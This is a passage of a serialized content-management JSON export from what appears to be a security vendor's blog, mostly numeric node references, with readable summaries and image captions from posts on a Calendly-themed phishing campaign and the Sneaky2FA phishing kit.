5,"content":98546,"nodeType":866},{},[98547],{"data":98548,"marks":98549,"value":53496,"nodeType":865},{},[98550,98551],{"type":926},{"type":943},{"data":98553,"content":98554,"nodeType":866},{},[98555],{"data":98556,"marks":98557,"value":53503,"nodeType":865},{},[],{"data":98559,"content":98562,"nodeType":912},{"target":98560},{"sys":98561},{"id":53508,"type":909,"linkType":910},[],{"data":98564,"content":98565,"nodeType":972},{},[],{"data":98567,"content":98568,"nodeType":1317},{},[98569],{"data":98570,"marks":98571,"value":694,"nodeType":865},{},[98572],{"type":926},{"data":98574,"content":98575,"nodeType":866},{},[98576],{"data":98577,"marks":98578,"value":53528,"nodeType":865},{},[98579,98580],{"type":926},{"type":943},{"data":98582,"content":98583,"nodeType":866},{},[98584],{"data":98585,"marks":98586,"value":53535,"nodeType":865},{},[],{"data":98588,"content":98589,"nodeType":1616},{},[98590,98603,98616],{"data":98591,"content":98592,"nodeType":1570},{},[98593],{"data":98594,"content":98595,"nodeType":866},{},[98596,98600],{"data":98597,"marks":98598,"value":53549,"nodeType":865},{},[98599],{"type":926},{"data":98601,"marks":98602,"value":53553,"nodeType":865},{},[],{"data":98604,"content":98605,"nodeType":1570},{},[98606],{"data":98607,"content":98608,"nodeType":866},{},[98609,98613],{"data":98610,"marks":98611,"value":53564,"nodeType":865},{},[98612],{"type":926},{"data":98614,"marks":98615,"value":53568,"nodeType":865},{},[],{"data":98617,"content":98618,"nodeType":1570},{},[98619],{"data":98620,"content":98621,"nodeType":866},{},[98622,98626,98629,98635],{"data":98623,"marks":98624,"value":53579,"nodeType":865},{},[98625],{"type":926},{"data":98627,"marks":98628,"value":53583,"nodeType":865},{},[],{"data":98630,"content":98631,"nodeType":889},{"uri":40710},[98632],{"data":98633,"marks":98634,"value":53590,"nodeType":865},{},[],{"data":98636,"marks":98637,"value":53594,"nodeType":865},{},[],{"data":98639,"content":98642,"nodeType":912},{"target":98640},{"sys":98641},{"id":53599,"type":909,"linkType":910},[],{"data":98644,"content":98645,"nodeType":972},{},[],{"data":98647,"content":98648,"nodeType":1317},{},[98649],{"data":98650,"marks":98651,"value":699,"nodeType":865},{},[98652],{"type":926},{"data":98654,"content":98655,"nodeType":866},{},[98656],{"data":98657,"marks":98658,"value":53619,"nodeType":865},{},[98659,98660],{"type":926},{"type":943},{"data":98662,"content":98663,"nodeType":866},{},[98664],{"data":98665,"marks":98666,"value":53626,"nodeType":865},{},[],{"data":98668,"content":98671,"nodeType":912},{"target":98669},{"sys":98670},{"id":53631,"type":909,"linkType":910},[],{"data":98673,"content":98674,"nodeType":972},{},[],{"data":98676,"content":98677,"nodeType":981},{},[98678],{"data":98679,"marks":98680,"value":14026,"nodeType":865},{},[98681],{"type":926},{"data":98683,"content":98684,"nodeType":866},{},[98685],{"data":98686,"marks":98687,"value":53649,"nodeType":865},{},[],{"data":98689,"content":98690,"nodeType":866},{},[98691],{"data":98692,"marks":98693,"value":53656,"nodeType":865},{},[],{"data":98695,"content":98696,"nodeType":1616},{},[98697,98716,98735],{"data":98698,"content":98699,"nodeType":1570},{},[98700],{"data":98701,"content":98702,"nodeType":866},{},[98703,98706,98713],{"data":98704,"marks":98705,"value":53669,"nodeType":865},{},[],{"data":98707,"content":98708,"nodeType":889},{"uri":53672},[98709],{"data":98710,"marks":98711,"value":8641,"nodeType":865},{},[98712],{"type":943},{"data":98714,"marks":98715,"value":53681,"nodeType":865},{},[],{"data":98717,"content":98718,"nodeType":1570},{},[98719],{"data":98720,"content":98721,"nodeType":866},{},[98722,98725,98732],{"data":98723,"marks":98724,"value":53691,"nodeType":865},{},[],{"data":98726,"content":98727,"nodeType":889},{"uri":53694},[98728],{"data":98729,"marks":98730,"value":53700,"nodeType":865},{},[98731],{"type":943},{"data":98733,"marks":98734,"value":53681,"nodeType":865},{},[],{"data":98736,"content":98737,"nodeType":1570},{},[98738],{"data":98739,"content":98740,"nodeType":866},{},[98741,98744,98751],{"data":98742,"marks":98743,"value":53713,"nodeType":865},{},[],{"data":98745,"content":98746,"nodeType":889},{"uri":1063},[98747],{"data":98748,"marks":98749,"value":53721,"nodeType":865},{},[98750],{"type":943},{"data":98752,"marks":98753,"value":53681,"nodeType":865},{},[],{"data":98755,"content":98756,"nodeType":866},{},[98757],{"data":98758,"marks":98759,"value":53731,"nodeType":865},{},[],{"data":98761,"content":98762,"nodeType":1616},{},[98763,98776,98789,98802],{"data":98764,"content":98765,"nodeType":1570},{},[98766],{"data":98767,"content":98768,"nodeType":866},{},[98769,98773],{"data":98770,"marks":98771,"value":53745,"nodeType":865},{},[98772],{"type":926},{"data":98774,"marks":98775,"value":53749,"nodeType":865},{},[],{"data":98777,"content":98778,"nodeType":1570},{},[98779],{"data":98780,"content":98781,"nodeType":866},{},[98782,98786],{"data":98783,"marks":98784,"value":53760,"nodeType":865},{},[98785],{"type":926},{"data":98787,"marks":98788,"value":53764,"nodeType":865},{},[],{"data":98790,"content":98791,"nodeType":1570},{},[98792],{"data":98793,"content":98794,"nodeType":866},{},[98795,98799],{"data":98796,"marks":98797,"value":53775,"nodeType":865},{},[98798],{"type":926},{"data":98800,"marks":98801,"value":53779,"nodeType":865},{},[],{"data":98803,"content":98804,"nodeType":1570},{},[98805],{"data":98806,"content":98807,"nodeType":866},{},[98808,98812],{"data":98809,"marks":98810,"value":53790,"nodeType":865},{},[98811],{"type":926},{"data":98813,"marks":98814,"value":53794,"nodeType":865},{},[],{"data":98816,"content":98817,"nodeType":866},{},[98818],{"data":98819,"marks":98820,"value":53801,"nodeType":865},{},[],{"data":98822,"content":98823,"nodeType":972},{},[],{"data":98825,"content":98826,"nodeType":981},{},[98827],{"data":98828,"marks":98829,"value":53812,"nodeType":865},{},[98830],{"type":926},{"data":98832,"content":98833,"nodeType":866},{},[98834],{"data":98835,"marks":98836,"value":53819,"nodeType":865},{},[],{"data":98838,"content":98839,"nodeType":866},{},[98840],{"data":98841,"marks":98842,"value":53826,"nodeType":865},{},[],{"data":98844,"content":98847,"nodeType":912},{"target":98845},{"sys":98846},{"id":53831,"type":909,"linkType":910},[],{"data":98849,"content":98850,"nodeType":972},{},[],{"data":98852,"content":98853,"nodeType":981},{},[98854],{"data":98855,"marks":98856,"value":6331,"nodeType":865},{},[98857],{"type":926},{"data":98859,"content":98860,"nodeType":866},{},[98861],{"data":98862,"marks":98863,"value":53849,"nodeType":865},{},[],{"data":98865,"content":98866,"nodeType":866},{},[98867],{"data":98868,"marks":98869,"value":53856,"nodeType":865},{},[],{"data":98871,"content":98872,"nodeType":866},{},[98873],{"data":98874,"marks":98875,"value":53863,"nodeType":865},{},[],{"data":98877,"content":98878,"nodeType":866},{},[98879,98882,98889,98892,98899],{"data":98880,"marks":98881,"value":11372,"nodeType":865},{},[],{"data":98883,"content":98884,"nodeType":889},{"uri":11375},[98885],{"data":98886,"marks":98887,"value":11381,"nodeType":865},{},[98888],{"type":943},{"data":98890,"marks":98891,"value":53880,"nodeType":865},{},[],{"data":98893,"content":98894,"nodeType":889},{"uri":1372},[98895],{"data":98896,"marks":98897,"value":11405,"nodeType":865},{},[98898],{"type":943},{"data":98900,"marks":98901,"value":1615,"nodeType":865},{},[],{"items":98903},[98904,98906],{"sys":98905,"name":7796},{"id":7795},{"sys":98907,"name":342},{"id":4642},{"items":98909},[98910],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":98911},{"url":7804},{"__typename":1429,"sys":98913,"content":98914,"title":85818,"synopsis":85819,"hashTags":59,"publishedDate":85820,"slug":85821,"tagsCollection":99250,"authorsCollection":99256},{"id":79669},{"json":98915},{"data":98916,"content":98917,"nodeType":1382},{},[98918,98925,98931,98936,98942,98972,98978,98983,98989,98994,98999,99004,99009,99014,99017,99024,99030,99036,99042,99049,99054,99070,99076,99092,99097,99100,99107,99113,99179,99185,99188,99195,99201,99207,99213,99239,99244],{"data":98919,"content":98920,"nodeType":981},{},[98921],{"data":98922,"marks":98923,"value":70694,"nodeType":865},{},[98924],{"type":926},{"data":98926,"content":98927,"nodeType":866},{},[98928],{"data":98929,"marks":98930,"value":85464,"nodeType":865},{},[],{"data":98932,"content":98935,"nodeType":912},{"target":98933},{"sys":98934},{"id":85469,"type":909,"linkType":910},[],{"data":98937,"content":98938,"nodeType":866},{},[98939],{"data":98940,"marks":98941,"value":85477,"nodeType":865},{},[],{"data":98943,"content":98944,"nodeType":1616},{},[98945,98954,98963],{"data":98946,"content":98947,"nodeType":1570},{},[98948],{"data":98949,"content":98950,"nodeType":866},{},[98951],{"data":98952,"marks":98953,"value":85490,"nodeType":865},{},[],{"data":98955,"content":98956,"nodeType":1570},{},[98957],{"data":98958,"content":98959,"nodeType":866},{},[98960],{"data":98961,"marks":98962,"value":85500,"nodeType":865},{},[],{"data":98964,"content":98965,"nodeType":1570},{},[98966],{"data":98967,"content":98968,"nodeType":866},{},[98969],{"data":98970,"marks":98971,"value":85510,"nodeType":865},{},[],{"data":98973,"content":98974,"nodeType":866},{},[98975],{"data":98976,"marks":98977,"value":85517,"nodeType":865},{},[],{"data":98979,"content":98982,"nodeType":912},{"target":98980},{"sys":98981},{"id":85522,"type":909,"linkType":910},[],{"data":98984,"content":98985,"nodeType":866},{},[98986],{"data":98987,"marks":98988,"value":85530,"nodeType":865},{},[],{"data":98990,"content":98993,"nodeType":912},{"target":98991},{"sys":98992},{"id":85535,"type":909,"linkType":910},[],{"data":98995,"content":98998,"nodeType":912},{"target":98996},{"sys":98997},{"id":85541,"type":909,"linkType":910},[],{"data":99000,"content":99003,"nodeType":912},{"target":99001},{"sys":99002},{"id":85547,"type":909,"linkType":910},[],{"data":99005,"content":99008,"nodeType":912},{"target":99006},{"sys":99007},{"id":85553,"type":909,"linkType":910},[],{"data":99010,"content":99013,"nodeType":912},{"target":99011},{"sys":99012},{"id":85559,"type":909,"linkType":910},[],{"data":99015,"content":99016,"nodeType":972},{},[],{"data":99018,"content":99019,"nodeType":981},{},[99020],{"data":99021,"marks":99022,"value":85571,"nodeType":865},{},[99023],{"type":926},{"data":99025,"content":99026,"nodeType":866},{},[99027],{"data":99028,"marks":99029,"value":85578,"nodeType":865},{},[],{"data":99031,"content":99032,"nodeType":866},{},[99033],{"data":99034,"marks":99035,"value":85585,"nodeType":865},{},[],{"data":99037,"content":99038,"nodeType":866},{},[99039],{"data":99040,"marks":99041,"value":85592,"nodeType":865},{},[],{"data":99043,"content":99044,"nodeType":866},{},[99045],{"data":99046,"marks":99047,"value":85600,"nodeType":865},{},[99048],{"type":926},{"data":99050,"content":99053,"nodeType":912},{"target":99051},{"sys":99052},{"id":85605,"type":909,"linkType":910},[],{"data":99055,"content":99056,"nodeType":866},{},[99057,99060,99067],{"data":99058,"marks":99059,"value":85613,"nodeType":865},{},[],{"data":99061,"content":99062,"nodeType":889},{"uri":14355},[99063],{"data":99064,"marks":99065,"value":315,"nodeType":865},{},[99066],{"type":943},{"data":99068,"marks":99069,"value":85624,"nodeType":865},{},[],{"data":99071,"content":99072,"nodeType":866},{},[99073],{"data":99074,"marks":99075,"value":85631,"nodeType":865},{},[],{"data":99077,"content":99078,"nodeType":866},{},[99079,99082,99089],{"data":99080,"marks":99081,"value":85638,"nodeType":865},{},[],{"data":99083,"content":99084,"nodeType":889},{"uri":4991},[99085],{"data":99086,"marks":99087,"value":8673,"nodeType":865},{},[99088],{"type":943},{"data":99090,"marks":99091,"value":85201,"nodeType":865},{},[],{"data":99093,"content":99096,"nodeType":912},{"target":99094},{"sys":99095},{"id":67359,"type":909,"linkType":910},[],{"data":99098,"content":99099,"nodeType":972},{},[],{"data":99101,"content":99102,"nodeType":981},{},[99103],{"data":99104,"marks":99105,"value":67181,"nodeType":865},{},[99106],{"type":926},{"data":99108,"content":99109,"nodeType":866},{},[99110],{"data":99111,"marks":99112,"value":85670,"nodeType":865},{},[],{"data":99114,"content":99115,"nodeType":1616},{},[99116,99125,99134,99143,99152,99161,99170],{"data":99117,"content":99118,"nodeType":1570},{},[99119],{"data":99120,"content":99121,"nodeType":866},{},[99122],{"data":99123,"marks":99124,"value":85683,"nodeType":865},{},[],{"data":99126,"content":99127,"nodeType":1570},{},[99128],{"data":99129,"content":99130,"nodeType":866},{},[99131],{"data":99132,"marks":99133,"value":85693,"nodeType":865},{},[],{"data":99135,"content":99136,"nodeType":1570},{},[99137],{"data":99138,"content":99139,"nodeType":866},{},[99140],{"data":99141,"marks":99142,"value":85703,"nodeType":865},{},[],{"data":99144,"content":99145,"nodeType":1570},{},[99146],{"data":99147,"content":99148,"nodeType":866},{},[99149],{"data":99150,"marks":99151,"value":85713,"nodeType":865},{},[],{"data":99153,"content":99154,"nodeType":1570},{},[99155],{"data":99156,"content":99157,"nodeType":866},{},[99158],{"data":99159,"marks":99160,"value":85723,"nodeType":865},{},[],{"data":99162,"content":99163,"nodeType":1570},{},[99164],{"data":99165,"content":99166,"nodeType":866},{},[99167],{"data":99168,"marks":99169,"value":85733,"nodeType":865},{},[],{"data":99171,"content":99172,"nodeType":1570},{},[99173],{"data":99174,"content":99175,"nodeType":866},{},[99176],{"data":99177,"marks":99178,"value":85743,"nodeType":865},{},[],{"data":99180,"content":99181,"nodeType":866},{},[99182],{"data":99183,"marks":99184,"value":85750,"nodeType":865},{},[],{"data":99186,"content":99187,"nodeType":972},{},[],{"data":99189,"content":99190,"nodeType":981},{},[99191],{"data":99192,"marks":99193,"value":67289,"nodeType":865},{},[99194],{"type":926},{"data":99196,"content":99197,"nodeType":866},{},[99198],{"data":99199,"marks":99200,"value":85767,"nodeType":865},{},[],{"data":99202,"content":99203,"nodeType":866},{},[99204],{"data":99205,"marks":99206,"value":85774,"nodeType":865},{},[],{"data":99208,"content":99209,"nodeType":866},{},[99210],{"data":99211,"marks":99212,"value":70936,"nodeType":865},{},[],{"data":99214,"content":99215,"nodeType":866},{},[99216,99219,99226,99229,99236],{"data":99217,"marks":99218,"value":11372,"nodeType":865},{},[],{"data":99220,"content":99221,"nodeType":889},{"uri":11375},[99222],{"data":99223,"marks":99224,"value":11381,"nodeType":865},{},[99225],{"type":943},{"data":99227,"marks":99228,"value":53880,"nodeType":865},{},[],{"data":99230,"content":99231,"nodeType":889},{"uri":1372},[99232],{"data":99233,"marks":99234,"value":11405,"nodeType":865},{},[99235],{"type":943},{"data":99237,"marks":99238,"value":1615,"nodeType":865},{},[],{"data":99240,"content":99243,"nodeType":912},{"target":99241},{"sys":99242},{"id":67359,"type":909,"linkType":910},[],{"data":99245,"content":99246,"nodeType":866},{},[99247],{"data":99248,"marks":99249,"value":21,"nodeType":865},{},[],{"items":99251},[99252,99254],{"sys":99253,"name":342},{"id":4642},{"sys":99255,"name":7796},{"id":7795},{"items":99257},[99258],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":99259},{"url":7804},"blog/uncovering-a-calendly-themed-phishing-campaign",{"json":99262},{"data":99263,"content":99264,"nodeType":1382},{},[99265],{"data":99266,"content":99267,"nodeType":866},{},[99268],{"data":99269,"marks":99270,"value":99271,"nodeType":865},{},[],"We recently investigated a large-scale phishing campaign that demonstrated a number of advanced detection evasion techniques and social engineering tactics, specifically targeting accounts used to manage business ads. Here’s what you need to know. ",{"id":33852,"publishedAt":99273},"2026-08-12T11:53:32.401Z",{"items":99275},[99276,99278],{"sys":99277,"name":7796},{"id":7795},{"sys":99279,"name":342},{"id":4642},{"items":99281},[99282,99284,99286,99288,99290,99292,99294,99296,99298,99300,99302,99304,99306,99308,99310],{"sys":99283,"name":279,"slug":280,"tier":31},{"id":276},{"sys":99285,"name":413,"slug":414,"tier":31},{"id":410},{"sys":99287,"name":519,"slug":520,"tier":31},{"id":516},{"sys":99289,"name":342,"slug":343,"tier":31},{"id":339},{"sys":99291,"name":642,"slug":643,"tier":31},{"id":639},{"sys":99293,"name":261,"slug":262,"tier":45},{"id":258},{"sys":99295,"name":324,"slug":325,"tier":45},{"id":321},{"sys":99297,"name":466,"slug":467,"tier":45},{"id":463},{"sys":99299,"name":571,"slug":572,"tier":45},{"id":568},{"sys":99301,"name":511,"slug":512,"tier":45},{"id":508},{"sys":99303,"name":607,"slug":608,"tier":45},{"id":604},{"sys":99305,"name":440,"slug":441,"tier":45},{"id":437},{"sys":99307,"name":431,"slug":432,"tier":45},{"id":428},{"sys":99309,"name":351,"slug":352,"tier":45},{"id":348},{"sys":99311,"name":244,"slug":245,"tier":45},{"id":241},"ch6LxdA9Rhu9m4h0HjFT_SWRyHszoU4PhvUCTXuEhbA",{"id":99314,"title":87605,"authorsCollection":99315,"content":99320,"extension":228,"faqItemsCollection":99847,"faqTitle":59,"featured":6,"hashTags":59,"meta":99849,"metaTitle":99850,"ogImage":59,"postType":42959,"publishedDate":96341,"relatedBlogPostsCollection":99851,"slug":87606,"stem":101356,"subtitle":59,"summary":101357,"synopsis":96340,"sys":101368,"tagsCollection":101370,"topicsCollection":101376,"__hash__":101398},"blog/blog/analyzing-the-latest-sneaky2fa-phishing-page.json",{"items":99316},[99317],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":99318,"profilePicture":99319},[30152],{"url":7804},{"json":99321,"links":99791},{"data":99322,"content":99323,"nodeType":1382},{},[99324,99330,99336,99362,99368,99374,99380,99383,99390,99406,99412,99417,99423,99428,99434,99439,99445,99450,99456,99461,99467,99473,99478,99481,99488,99504,99510,99516,99521,99537,99544,99560,99567,99583,99589,99594,99620,99627,99653,99660,99676,99681,99684,99691,99707,99712,99715,99722,99728,99734,99737,99744,99750,99756,99780,99785],{"data":99325,"content":99326,"nodeType":866},{},[99327],{"data":99328,"marks":99329,"value":95807,"nodeType":865},{},[],{"data":99331,"content":99332,"nodeType":866},{},[99333],{"data":99334,"marks":99335,"value":83842,"nodeType":865},{},[],{"data":99337,"content":99338,"nodeType":866},{},[99339,99342,99349,99352,99359],{"data":99340,"marks":99341,"value":95820,"nodeType":865},{},[],{"data":99343,"content":99344,"nodeType":889},{"uri":95823},[99345],{"data":99346,"marks":99347,"value":83858,"nodeType":865},{},[99348],{"type":943},{"data":99350,"marks":99351,"value":3476,"nodeType":865},{},[],{"data":99353,"content":99354,"nodeType":889},{"uri":8862},[99355],{"data":99356,"marks":99357,"value":8868,"nodeType":865},{},[99358],{"type":943},{"data":99360,"marks":99361,"value":95842,"nodeType":865},{},[],{"data":99363,"content":99364,"nodeType":866},{},[99365],{"data":99366,"marks":99367,"value":95849,"nodeType":865},{},[],{"data":99369,"content":99370,"nodeType":866},{},[99371],{"data":99372,"marks":99373,"value":95856,"nodeType":865},{},[],{"data":99375,"content":99376,"nodeType":866},{},[99377],{"data":99378,"marks":99379,"value":95863,"nodeType":865},{},[],{"data":99381,"content":99382,"nodeType":972},{},[],{"data":99384,"content":99385,"nodeType":981},{},[99386],{"data":99387,"marks":99388,"value":95874,"nodeType":865},{},[99389],{"type":926},{"data":99391,"content":99392,"nodeType":866},{},[99393,99396,99403],{"data":99394,"marks":99395,"value":95881,"nodeType":865},{},[],{"data":99397,"content":99398,"nodeType":889},{"uri":54386},[99399],{"data":99400,"marks":99401,"value":95889,"nodeType":865},{},[99402],{"type":943},{"data":99404,"marks":99405,"value":95893,"nodeType":865},{},[],{"data":99407,"content":99408,"nodeType":866},{},[99409],{"data":99410,"marks":99411,"value":95900,"nodeType":865},{},[],{"data":99413,"content":99416,"nodeType":912},{"target":99414},{"sys":99415},{"id":95905,"type":909,"linkType":910},[],{"data":99418,"content":99419,"nodeType":866},{},[99420],{"data":99421,"marks":99422,"value":95913,"nodeType":865},{},[],{"data":99424,"content":99427,"nodeType":912},{"target":99425},{"sys":99426},{"id":95918,"type":909,"linkType":910},[],{"data":99429,"content":99430,"nodeType":866},{},[99431],{"data":99432,"marks":99433,"value":95926,"nodeType":865},{},[],{"data":99435,"content":99438,"nodeType":912},{"target":99436},{"sys":99437},{"id":95931,"type":909,"linkType":910},[],{"data":99440,"content":99441,"nodeType":866},{},[99442],{"data":99443,"marks":99444,"value":95939,"nodeType":865},{},[],{"data":99446,"content":99449,"nodeType":912},{"target":99447},{"sys":99448},{"id":95944,"type":909,"linkType":910},[],{"data":99451,"content":99452,"nodeType":866},{},[99453],{"data":99454,"marks":99455,"value":95952,"nodeType":865},{},[],{"data":99457,"content":99460,"nodeType":912},{"target":99458},{"sys":99459},{"id":95957,"type":909,"linkType":910},[],{"data":99462,"content":99463,"nodeType":866},{},[99464],{"data":99465,"marks":99466,"value":95965,"nodeType":865},{},[],{"data":99468,"content":99469,"nodeType":866},{},[99470],{"data":99471,"marks":99472,"value":95972,"nodeType":865},{},[],{"data":99474,"content":99477,"nodeType":912},{"target":99475},{"sys":99476},{"id":95977,"type":909,"linkType":910},[],{"data":99479,"content":99480,"nodeType":972},{},[],{"data":99482,"content":99483,"nodeType":981},{},[99484],{"data":99485,"marks":99486,"value":95989,"nodeType":865},{},[99487],{"type":926},{"data":99489,"content":99490,"nodeType":866},{},[99491,99494,99501],{"data":99492,"marks":99493,"value":95996,"nodeType":865},{},[],{"data":99495,"content":99496,"nodeType":889},{"uri":95999},[99497],{"data":99498,"marks":99499,"value":96005,"nodeType":865},{},[99500],{"type":943},{"data":99502,"marks":99503,"value":96009,"nodeType":865},{},[],{"data":99505,"content":99506,"nodeType":866},{},[99507],{"data":99508,"marks":99509,"value":96016,"nodeType":865},{},[],{"data":99511,"content":99512,"nodeType":866},{},[99513],{"data":99514,"marks":99515,"value":96023,"nodeType":865},{},[],{"data":99517,"content":99520,"nodeType":912},{"target":99518},{"sys":99519},{"id":96028,"type":909,"linkType":910},[],{"data":99522,"content":99523,"nodeType":866},{},[99524,99527,99534],{"data":99525,"marks":99526,"value":96036,"nodeType":865},{},[],{"data":99528,"content":99529,"nodeType":889},{"uri":8862},[99530],{"data":99531,"marks":99532,"value":8868,"nodeType":865},{},[99533],{"type":943},{"data":99535,"marks":99536,"value":96047,"nodeType":865},{},[],{"data":99538,"content":99539,"nodeType":1317},{},[99540],{"data":99541,"marks":99542,"value":96055,"nodeType":865},{},[99543],{"type":926},{"data":99545,"content":99546,"nodeType":866},{},[99547,99550,99557],{"data":99548,"marks":99549,"value":96062,"nodeType":865},{},[],{"data":99551,"content":99552,"nodeType":889},{"uri":96065},[99553],{"data":99554,"marks":99555,"value":96071,"nodeType":865},{},[99556],{"type":943},{"data":99558,"marks":99559,"value":96075,"nodeType":865},{},[],{"data":99561,"content":99562,"nodeType":1317},{},[99563],{"data":99564,"marks":99565,"value":96083,"nodeType":865},{},[99566],{"type":926},{"data":99568,"content":99569,"nodeType":866},{},[99570,99573,99580],{"data":99571,"marks":99572,"value":21,"nodeType":865},{},[],{"data":99574,"content":99575,"nodeType":889},{"uri":66627},[99576],{"data":99577,"marks":99578,"value":96097,"nodeType":865},{},[99579],{"type":943},{"data":99581,"marks":99582,"value":96101,"nodeType":865},{},[],{"data":99584,"content":99585,"nodeType":866},{},[99586],{"data":99587,"marks":99588,"value":96108,"nodeType":865},{},[],{"data":99590,"content":99593,"nodeType":912},{"target":99591},{"sys":99592},{"id":96113,"type":909,"linkType":910},[],{"data":99595,"content":99596,"nodeType":866},{},[99597,99600,99607,99610,99617],{"data":99598,"marks":99599,"value":96121,"nodeType":865},{},[],{"data":99601,"content":99602,"nodeType":889},{"uri":86190},[99603],{"data":99604,"marks":99605,"value":96129,"nodeType":865},{},[99606],{"type":943},{"data":99608,"marks":99609,"value":96133,"nodeType":865},{},[],{"data":99611,"content":99612,"nodeType":889},{"uri":96136},[99613],{"data":99614,"marks":99615,"value":96142,"nodeType":865},{},[99616],{"type":943},{"data":99618,"marks":99619,"value":96146,"nodeType":865},{},[],{"data":99621,"content":99622,"nodeType":1317},{},[99623],{"data":99624,"marks":99625,"value":96154,"nodeType":865},{},[99626],{"type":926},{"data":99628,"content":99629,"nodeType":866},{},[99630,99633,99640,99643,99650],{"data":99631,"marks":99632,"value":96161,"nodeType":865},{},[],{"data":99634,"content":99635,"nodeType":889},{"uri":96164},[99636],{"data":99637,"marks":99638,"value":96170,"nodeType":865},{},[99639],{"type":943},{"data":99641,"marks":99642,"value":96174,"nodeType":865},{},[],{"data":99644,"content":99645,"nodeType":889},{"uri":96177},[99646],{"data":99647,"marks":99648,"value":96183,"nodeType":865},{},[99649],{"type":943},{"data":99651,"marks":99652,"value":96187,"nodeType":865},{},[],{"data":99654,"content":99655,"nodeType":1317},{},[99656],{"data":99657,"marks":99658,"value":96195,"nodeType":865},{},[99659],{"type":926},{"data":99661,"content":99662,"nodeType":866},{},[99663,99666,99673],{"data":99664,"marks":99665,"value":96202,"nodeType":865},{},[],{"data":99667,"content":99668,"nodeType":889},{"uri":96205},[99669],{"data":99670,"marks":99671,"value":96211,"nodeType":865},{},[99672],{"type":943},{"data":99674,"marks":99675,"value":96215,"nodeType":865},{},[],{"data":99677,"content":99680,"nodeType":912},{"target":99678},{"sys":99679},{"id":67359,"type":909,"linkType":910},[],{"data":99682,"content":99683,"nodeType":972},{},[],{"data":99685,"content":99686,"nodeType":981},{},[99687],{"data":99688,"marks":99689,"value":96231,"nodeType":865},{},[99690],{"type":926},{"data":99692,"content":99693,"nodeType":866},{},[99694,99697,99704],{"data":99695,"marks":99696,"value":96238,"nodeType":865},{},[],{"data":99698,"content":99699,"nodeType":889},{"uri":96241},[99700],{"data":99701,"marks":99702,"value":96247,"nodeType":865},{},[99703],{"type":943},{"data":99705,"marks":99706,"value":96251,"nodeType":865},{},[],{"data":99708,"content":99711,"nodeType":912},{"target":99709},{"sys":99710},{"id":96256,"type":909,"linkType":910},[],{"data":99713,"content":99714,"nodeType":972},{},[],{"data":99716,"content":99717,"nodeType":981},{},[99718],{"data":99719,"marks":99720,"value":57175,"nodeType":865},{},[99721],{"type":926},{"data":99723,"content":99724,"nodeType":866},{},[99725],{"data":99726,"marks":99727,"value":96274,"nodeType":865},{},[],{"data":99729,"content":99730,"nodeType":866},{},[99731],{"data":99732,"marks":99733,"value":96281,"nodeType":865},{},[],{"data":99735,"content":99736,"nodeType":972},{},[],{"data":99738,"content":99739,"nodeType":981},{},[99740],{"data":99741,"marks":99742,"value":6331,"nodeType":865},{},[99743],{"type":926},{"data":99745,"content":99746,"nodeType":866},{},[99747],{"data":99748,"marks":99749,"value":86366,"nodeType":865},{},[],{"data":99751,"content":99752,"nodeType":866},{},[99753],{"data":99754,"marks":99755,"value":96304,"nodeType":865},{},[],{"data":99757,"content":99758,"nodeType":866},{},[99759,99762,99768,99771,99777],{"data":99760,"marks":99761,"value":11372,"nodeType":865},{},[],{"data":99763,"content":99764,"nodeType":889},{"uri":11375},[99765],{"data":99766,"marks":99767,"value":11381,"nodeType":865},{},[],{"data":99769,"marks":99770,"value":53880,"nodeType":865},{},[],{"data":99772,"content":99773,"nodeType":889},{"uri":1372},[99774],{"data":99775,"marks":99776,"value":11405,"nodeType":865},{},[],{"data":99778,"marks":99779,"value":1615,"nodeType":865},{},[],{"data":99781,"content":99784,"nodeType":912},{"target":99782},{"sys":99783},{"id":67359,"type":909,"linkType":910},[],{"data":99786,"content":99787,"nodeType":866},{},[99788],{"data":99789,"marks":99790,"value":21,"nodeType":865},{},[],{"entries":99792},{"hyperlink":99793,"inline":99794,"block":99795},[],[],[99796,99800,99805,99810,99815,99821,99828,99834,99840,99842],{"sys":99797,"__typename":52243,"title":99798,"arcadeDemoUrl":99799,"playText":59377},{"id":95905},"Sneaky2FA demo narrated","https://demo.arcade.software/jkU39x4sItKUREwWf711?embed",{"sys":99801,"__typename":1390,"title":99802,"caption":99802,"layoutMode":59,"file":99803},{"id":95918},"The user must pass a bot protection check to load the phishing page. ",{"url":99804,"width":1402,"height":65441},"https://images.ctfassets.net/y1cdw1ablpvd/OLp2M4pKuurBpsQSBsl5T/82476532de81fcfb7e6fd7cf4352e4b8/image6.png",{"sys":99806,"__typename":1390,"title":99807,"caption":99807,"layoutMode":59,"file":99808},{"id":95931},"The user is prompted to “Sign in with Microsoft” as part of the phishing lure.",{"url":99809,"width":1402,"height":65441},"https://images.ctfassets.net/y1cdw1ablpvd/26RGH5UdNEN2n6duJ8o8I0/cbdf729ef6f18c7452638fe58ab62d2b/image5.png",{"sys":99811,"__typename":1390,"title":99812,"caption":99812,"layoutMode":59,"file":99813},{"id":95944},"An embedded browser pop-up contains the phishing form.",{"url":99814,"width":1402,"height":78586},"https://images.ctfassets.net/y1cdw1ablpvd/158qPiOxWO64VKlQsAVMKF/96feda4fbbc8b20ef8cbbc19153095f1/image7.png",{"sys":99816,"__typename":1390,"title":99817,"caption":99818,"layoutMode":59,"file":99819},{"id":95957},"Example of the pop-up window on Windows/Edge and MacOS/Safari","Example of the pop-up window on Windows/Edge and MacOS/Safari.",{"url":99820,"width":1402,"height":47178},"https://images.ctfassets.net/y1cdw1ablpvd/CIeVI4aLXOre61PikcCgN/349d191be7c5721367bb91665fc3b714/image8.png",{"sys":99822,"__typename":1390,"title":99823,"caption":99823,"layoutMode":59,"file":99824},{"id":95977},"Push detection timeline showing detections for the Sneaky2FA phishing kit identified running on the page.",{"url":99825,"width":99826,"height":99827},"https://images.ctfassets.net/y1cdw1ablpvd/UaCyvSZeLDrmNNRp2plxu/8dfe5904a9091b24cdd357b8aba3b30f/image2.png",1790,1786,{"sys":99829,"__typename":1390,"title":99830,"caption":99830,"layoutMode":59,"file":99831},{"id":96028},"The browser window displays a fake Microsoft login URL instead of the phishing server address.",{"url":99832,"width":1402,"height":99833},"https://images.ctfassets.net/y1cdw1ablpvd/1KPzMygiOL9WdqeAm8Jnse/154477969ce82feb3fdaf6bca5eabb30/image3.png",146,{"sys":99835,"__typename":1390,"title":99836,"caption":99836,"layoutMode":59,"file":99837},{"id":96113},"Redirecting to a benign wikibooks page where conditional loading requirements are not 